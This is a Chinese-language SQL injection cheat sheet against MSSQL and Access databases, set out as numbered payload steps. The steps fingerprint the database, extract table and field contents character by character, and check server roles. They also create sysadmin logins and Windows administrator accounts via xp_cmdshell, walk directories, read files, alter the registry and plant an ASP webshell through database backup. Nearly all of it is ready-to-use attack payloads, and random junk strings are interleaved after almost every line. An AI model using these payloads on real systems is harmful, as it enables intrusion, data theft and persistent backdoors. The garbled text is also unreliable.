1.判断是否有注入;and 1=1 ;and 1=2 osAd1<EIC
2.初步判断是否是mssql ;and user>0 S`0(*A[W*
i%]EEVmN
3.注入参数是字符'and [查询条件] and ''=' g|yvF-+
Id .nu/
4.搜索时没过滤参数的'and [查询条件] and '%25'=' '9J/T57]e
0@iY:aF
5.判断数据库系统 Ckuh:bs
WlC:l
;and (select count(*) from sysobjects)>0 mssql g7`LEF <A
K`zdc`/
;and (select count(*) from msysobjects)>0 access Fj3a.'
q ^N7I@Y
SsDmoEeB[
XJ|
<?
6.猜数据库 ;and (select Count(*) from [数据库名])>0 k9 I%PH
37.S\gO]
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ?X<eV1a
C1n>M}b
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 D8?Vn"
CXMLt
9.(1)猜字段的ascii值(access) j-}O0~Jz
D.u{~
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 eJX9_6m-
)'cMYC
(2)猜字段的ascii值(mssql) G}raA%
|3"KK
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 \?k'4rH
:J&oX
<nF^
10.测试权限结构(mssql) .|fHy
=>v#4zFd
H40p86@M
Kn;"R:
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 2eY_%Y0
;'@9[N9
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- MKi0jwJM
Z=o2H Bm7
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Y]2A&0
Om2d.7S
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- x
g
YPk fx
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 7[XRd9a5(
>}i E(
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- `1fY)d^ZS
eru.m+\
;and 1=(select IS_MEMBER('db_owner'));-- \Uq(Zga4)
I1M%J@ Cz
c`w}|d]mC
T:yE(OBf
11.添加mssql和系统的帐户 . 3T3EX|G
Lk}J8 V^2
;exec master.dbo.sp_addlogin username;-- +',S]Edx
;exec master.dbo.sp_password null,username,password;-- FWgpnI\X|{
8'io$6d=
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- k,+0u/I
JP[K;/
;exec master.dbo.xp_cmdshell 'net user username password ,w4V?>l
R$[vm6T?
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- $DaNbLV
w%jII{@,
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ,R*
]>'
I:1C8*/
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- .|i.Cq8
[5Mr@f4I
],Do6
@M-
^o&. fQ*
12.(1)遍历目录 x7<K<k;s
K`fuf=
;create table dirs(paths varchar(100), id int) @Qt{jI!
tW}'g:s
;insert dirs exec master.dbo.xp_dirtree 'c:\' i5@z< \
#BH*Z(
;and (select top 1 paths from dirs)>0 oV78Hq6
_ZSR.w}j/
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) B>P{A7Q
aHK}sr,U
07{)?1cod4
|z^^.d~a0
(2)遍历目录 0*{%=M
A;?|&`f
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- D_zZXbNc
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 {V
CWn95Z
f
x+/C8GK
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Y9XEP7
((M>s&\y*Y
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Jij*x>K>y
Bh-ym8D
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 8&b,qQ~
tf`^v6m%]
L$M9w
j*r{2f4Rt
13.mssql中的存储过程 BR;D@R``}
}b.%Im<3R
xp_regenumvalues 注册表根键, 子键 WCixKYq
B
\2SH%\
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 :,6\"y-
uJ v-4H
xp_regread 根键,子键,键值名 a<bwzX|.
svH !1b
;exec xp_regread sD#.Oq4&]y
p H2Sbs:Tk
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ;>7De8v@@
NqWdRU
xp_regwrite 根键,子键, 值名, 值类型, 值 9:lFo=
2st3
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 /dIzY0<aO
1=v*O.XW`
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 -D:b*D
N6TH}~62}
xp_regdeletevalue 根键,子键,值名 2B`JGFcdcB
9A#i_#[R
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 yWf`rF{
"9807OME
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 z0Z%m@
|1Z)E+q*:
-F3-{E
dQG=G%W
14.mssql的backup创建webshell -I%5$`z
J9 I:Q<;
use model u]G\H!WkQ
[<TrS/,)>
create table cmd(str image); og>uj>H&
%]7d`/
insert into cmd(str) values (''); $Z>'Jp
A<fG}q1#
backup database model to disk='c:\l.asp'; DIUjn;>k8
V G~Vs@c(
]K%!@O!
/<BI46B\
15.mssql内置函数 #|``ca54B
Z #m+ObHK1
;and (select @@version)>0 获得Windows的版本号 |+"(L#wk
-DAlRz#d,
;and user_name()='dbo' 判断当前系统的连接用户是不是sa (4-CF3D
FE;x8(;W8
;and (select user_name())>0 爆当前系统的连接用户 S`]k>'
l
P1f[%1
;and (select db_name())>0 得到当前连接的数据库 ijU*|8n{>
PmM3]xVzd
e@YK@?^#N
II=79$n`G
16.简洁的webshell @=f\<"$vt
bi;1s'Y<D
use model Yu2Bkq+
eb$#A _m
create table cmd(str image); Eu04e N
"@8li^
insert into cmd(str) values (''); qJUK_6|3
D.XvG _
backup database model to disk='g:\wwwtest\l.asp';